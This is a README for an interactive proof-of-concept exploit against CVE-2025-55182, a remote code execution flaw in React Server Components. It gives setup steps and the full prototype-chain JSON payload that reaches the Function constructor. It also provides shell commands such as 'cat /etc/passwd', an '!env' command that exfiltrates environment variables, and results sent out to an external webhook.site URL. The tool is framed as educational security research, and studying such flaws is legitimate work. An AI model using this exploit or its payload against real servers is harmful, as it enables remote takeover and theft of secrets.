nathanj60/react2shell-interactiveCVE-2025-55182 Interactive PoC - React Server Components RCE - Educational Security Research
Interactive shell for exploiting CVE-2025-55182, a Remote Code Execution vulnerability in React Server Components.
This tool is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.
CVE-2025-55182 affects React Server Components (RSC) in:
The vulnerability allows Remote Code Execution (RCE) through malicious payloads sent to Server Actions.
$@x syntax to reference internal Chunk objects.then() methods (Promise-like)_response, , and properties_formData_prefixFunction constructor via prototype chain traversal$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
Edit exploit.js and update these values:
const TARGET_URL = 'http://localhost:3000/' // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // Your webhook URL
Get a free webhook at: https://webhook.site
node exploit.js
| Command | Description |
|---|---|
!test | Test if exploit works (sends confirmation to webhook) |
!env | Exfiltrate environment variables (process.env) |
!js <code> | Execute custom JavaScript |
!help | Show help |
!exit | Exit |
<command> | Execute shell command (e.g., whoami, ls, cat /etc/passwd) |
react2shell> !test
[+] Sent! Check webhook
react2shell> whoami
[+] Sent: whoami
react2shell> ls -la
[+] Sent: ls -la
react2shell> !env
[+] Sent! Check webhook for env vars
Results appear on your webhook, not in the terminal.
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action header$@3 creates a Chunk reference$3:constructor:constructor traverses to Function_prefix content is passed to Function() and executedrequire() is not availableimport() instead:
import("child_process").then(cp => cp.execSync("whoami"))
Update to these versions to fix the vulnerability:
MIT License - For educational purposes only.
Security Research PoC - Use responsibly.